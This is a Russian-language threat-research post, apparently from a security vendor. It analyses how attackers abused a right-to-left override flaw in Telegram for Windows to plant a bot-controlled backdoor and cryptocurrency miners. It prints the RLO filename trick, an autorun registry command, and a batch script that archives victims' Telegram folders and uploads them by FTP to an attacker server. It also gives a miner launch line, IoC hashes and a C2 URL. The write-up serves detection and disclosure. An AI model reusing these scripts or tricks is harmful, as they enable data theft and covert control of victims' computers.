0-day уязвимость Telegram

Злоумышленники эксплуатировали брешь мессенджера для осуществления многоцелевых атак.

В октябре 2017 года нам стало известно об эксплуатируемой in-the-wild уязвимости Windows-клиента мессенджера Telegram. Она заключается в использовании классической атаки right-to-left override при отправке файлов собеседнику.

Right-to-left override в двух словах

Специальный непечатный символ right-to-left override (RLO) служит для изменения порядка следующих за ним в строке знаков на обратный, в таблице Unicode он представлен как ‘U+202E’ (легитимной областью использования RLO, в частности, является набор текста на арабском языке). Атака подразумевает использование символа с целью введения жертвы в заблуждение, чаще всего, при отображении имени и расширения исполняемого файла: уязвимое к этой атаке ПО отображает его имя частично или в перевернутом виде.

Реализация атаки в Telegram

Процесс эксплуатации такой уязвимости в Telegram выглядел следующим образом:

    • Злоумышленник подготавливает зловред к отправке. Например, JS-файл он переименовывает следующим образом:
      evil.js -> photo_high_re*U+202E*gnp.js
      Где *U+202E* — RLO символ, который должен заставить Telegram перевернуть оставшиеся символы gnp.js. Обратите внимание, что это — все тот же файл с расширением *.js.
    • Атакующий отправляет сообщение и вместо JS-файла получатель видит — сюрприз! — PNG-картинку:

    • При клике по файлу появится стандартное уведомление безопасности Windows:

Важно отметить, что оно отображается только в тех случаях, когда соответствующая опция не была отключена в системных настройках. После подтверждения пользователя, вредоносный файл будет запущен.

ITW эксплуатация

После обнаружения уязвимости, мы начали изучать случаи ее реальной эксплуатации. Среди них можно выделить несколько основных сценариев.

Удаленное управление

Данная атака осуществляется с целью получить контроль над системой жертвы путем изучения окружения и установки дополнительных модулей.

Общая схема атаки

На первой стадии жертве отправляется загрузчик, написанный на .Net и использующий Telegram API в качестве командного протокола:

По токену и API можно без труда найти Telegram-бот, с помощью которого ведется управление зараженными системами:

После запуска прописывает себя в автозапуск и копирует свой исполняемый файл, в зависимости от окружения, в одну из директорий:

Далее, с периодичностью в 2 секунды, начинает проверять наличие поступающих от управляющего бота команд. Важно отметить, что команды реализованы на русском языке:

Перечень возможных команд показывает, что бот может скрытно разворачивать на целевой системе произвольные бэкдоры, логгеры и прочее вредоносное ПО. В таблице представлен их полный список:

Команда Функция
«Онлайн Отправить управляющему боту список файлов из своей директории.
«Запус Запустить исполняемый файл через Process.Start().
«Логгер Проверяет, запущен ли процесс tor, скачивает logg.zip, распаковывает, удаляет сам архив и запускает содержимое.
«Скачать Скачать файл в свою директорию.
«Удалить Удалить файл из своей директории.
«Распаковать Распаковать архив с указанным паролем из своей директории.
убить Остановить указанный процесс через process.Kill()
скачат То же, что «»Скачать», отличается только парсинг команды.
запуск То же, что «»Запус», отличается только парсинг команды.
удалить То же, что «»Удалить», отличается только парсинг команды.
распаковать То же, что «»Распаковать», отличается только парсинг команды.
процессы Отправить управляющему боту список запущенных на ПК процессов.

Из анализа команд видно, что средствами этого загрузчика предполагается дальнейшая установка, по крайней мере, логгера, который будет шпионить за жертвой.

Майнеры и не только

На волне криптовалютного бума злоумышленники часто предпочитают «классическому грабежу» новый способ заработка на жертвах — майнинг криптовалюты ресурсами зараженного ПК. Для этого достаточно запустить какой-либо майнинговый клиент на компьютере жертвы и указать данные собственного криптовалютного кошелька.

Сценарий #1

Общая схема атаки

На первой стадии используется SFX-архив со сценарием, запускающим содержащийся в нем исполняемый файл:

Path=%temp%\adr
Setup=%temp%\adr\run.exe
Silent=1
Overwrite=2

Этот run.exe, на самом деле — BAT-файл. После извлечения самого batch-скрипта он выглядит так:

Видно, что первым делом зловред открывает файл-приманку, который в рассматриваемом случае является картинкой, нужной для усыпления бдительности жертвы.

Далее поочередно стартуют майнеры, причем они запускаются как сервисы, с помощью утилиты nssm.exe, упакованной в тот же SFX-архив:

  • nheq.exe exe — Equihash майнер для NiceHash (в нашем случае добывал Zcash). Может задействовать ресурсы ЦП и графического ускорителя:
  • taskmgn.exe — также широко применяющийся майнер, работает по алгоритму CryptoNight, майнит Fantomcoin и Monero. Характерной чертой является строка с путем к отладочному файлу:

Мы наблюдали несколько вариаций этого batch-скрипта, некоторые из них обладают дополнительными возможностями:

Этот, например, отключает защитные системы Windows, а после этого авторизуется на FTP-сервере злоумышленников, скачивает и запускает полезную нагрузку. Последняя в данном случае представляла собой SFX-архив, начиненный новыми майнерами и клиентом Remote Manipulator System — аналогом TeamViewer. Используя скрипты AutoIt, зловред разворачивает на атакуемой системе RMS для последующего удаленного доступа:

Схема атаки примерно такова:

Мы изучили этот FTP-сервер и нашли еще несколько файлов, представляющих собой аналогичную полезную нагрузку (вероятно, подгружается другими версиями):

Отдельного упоминания заслуживает файл address4.exe. Он, как и остальные экземпляры, представляет собой SFX-архив со следующим содержанием:

Все компоненты с именем st*.exe – это исполняемые PE-файлы схожим образом конвертированные из batch-скриптов.

SFX-сценарий запускает компонент st1.exe:

Path=%temp%/adress
Setup=%temp%/adress/st1.exe
Silent=1
Overwrite=2

st1.exe прописывает в автозапуск st2.exe, добавляя соответствующую запись в системный реестр:

reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v RUN1 /d %temp%\adress\st2.exe /f

st2.exe стартует вместе с системой:

TIMEOUT /T 10 /NOBREAK #Ждет, пока запустится Telegram
chcp 1251
tskill telegram
taskkill /IM telegram.exe #Завершает процессы Telegram
md %temp%\sss
cd %temp%\sss #Создает временную директорию
«%temp%\adress\WinRAR.exe» A -ibck -inul -r -agYY-mm-dd-hh-mm-ss «%temp%\sss\1.rar» «%appdata%\Telegram Desktop» #Упаковывает директорию Telegram в RAR-архив
TIMEOUT /T 60 /NOBREAK
:begin
ping -n 1 ya.ru |>nul find /i «TTL=» && (start «» %temp%/adress/st3.exe) || (ping 127.1 -n 2& Goto :begin) #Проверяет подключение к интернету и запускает st3.exe

А st3.exe предсказуемо авторизуется на FTP-сервере злоумышленников и загружает туда созданный ранее RAR-архив:

@echo XXXXXXXX>command.txt
@echo XXXXXXXX>>command.txt
@echo binary>>command.txt
@echo mput %temp%\sss\*.rar>>command.txt
@echo quit>>command.txt
ftp -s:command.txt -i free11.beget.com
del command.txt
attrib %temp%/adress +H
attrib %temp%/adress\* +H

На самом сервере мы обнаружили несколько подобных архивов с директориями Telegram, украденными у жертв:

Каждый такой дамп, кроме самих исполняемых и служебных файлов клиента Telegram, содержит зашифрованный локальный кэш, состоящий из различных файлов, использованных в переписках: документы, видео и аудиозаписи, фотографии.

Сценарий #2

Атака, как и в предыдущем сценарии, начинается с SFX-архива, который при открытии запускает содержащийся внутри VBS-скрипт. Его основная задача – открыть картинку для отвлечения внимания жертвы, а затем скачать и запустить полезную нагрузку:

Полезная нагрузка представляет из себя SFX-архив со следующим сценарием:

svchost.vbs — скрипт, контролирующий запуск майнера CryptoNight (csrs.exe), — следит за списком процессов и при обнаружении среди них диспетчера задач (taskmgr.exe, processhacker.exe) завершает процесс майнера с последующим перезапуском (когда диспетчер будет закрыт).

Скрипт снабжен соответствующими комментариями:

Сам майнер запускается так:

WshShell.Run «csrs.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u XXXXXXXXX@yandex.ru -p x -dbg -1″ & cores, 0

Адрес пула соответствует криптовалюте Monero.

На самом сервере, кроме указанных файлов с полезной нагрузкой, мы нашли аналогичные SFX-архивы с майнерами:

Заключение

Похоже, что об уязвимости было известно только злоумышленникам из России, так как все обнаруженные нами случаи эксплуатации происходили именно в этой стране. Кроме того, в ходе подробного изучения атак мы находили множество артефактов, указывающих на почерк киберпреступников из России.

Мы не обладаем точной информацией о том, как долго и в каких версиях была открыта уязвимость, но, со своей стороны, можем отметить, что случаи эксплуатации начались в марте 2017 года. Мы уведомили разработчиков о проблеме, и на сегодняшний день уязвимость не проявляется в продуктах Telegram.

Сейчас можно лишь гадать, как много и как именно она эксплуатировалась, так как в публикации рассмотрены только случаи, выявленные в рамках нашей телеметрии.

IoC

MD5

Первая стадия

650DDDE919F9E5B854F8C375D3251C21
C384E62E483896799B38437E53CD9749
FA391BEAAF8B087A332833E618ABC358
52F7B21CCD7B1159908BCAA143E27945
B1760E8581F6745CBFCBE76FBD0ACBFA
A662D942F0E43474984766197288845B

Полезная нагрузка

B9EEC74CA8B14F899837A6BEB7094F65
46B36F8FF2369E883300F472694BBD4D
10B1301EAB4B4A00E7654ECFA6454B20
CD5C5423EC3D19E864B2AE1C1A9DDBBC
7A3D9C0E2EA27F1B96AEFED2BF8971A4
E89FDDB32D7EC98B3B68AB7681FACCFC
27DDD96A87FBA2C15B5C971BA6EB80C6
844825B1336405DDE728B993C6B52A83
C6A795C27DEC3F5559FD65884457F6F3
89E42CB485D65F71F62BC1B64C6BEC95
0492C336E869A14071B1B0EF613D9899
2CC9ECD5566C921D3876330DFC66FC02
1CE28167436919BD0A8C1F47AB1182C4

C2

http://nord.adr[.]com[.]ua/

Имена

 

name?gpj.exe
name?gpj.rar
address?gpj.scr
address_?gpj.scr
photoadr?gepj.scr

Публикации на схожие темы

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *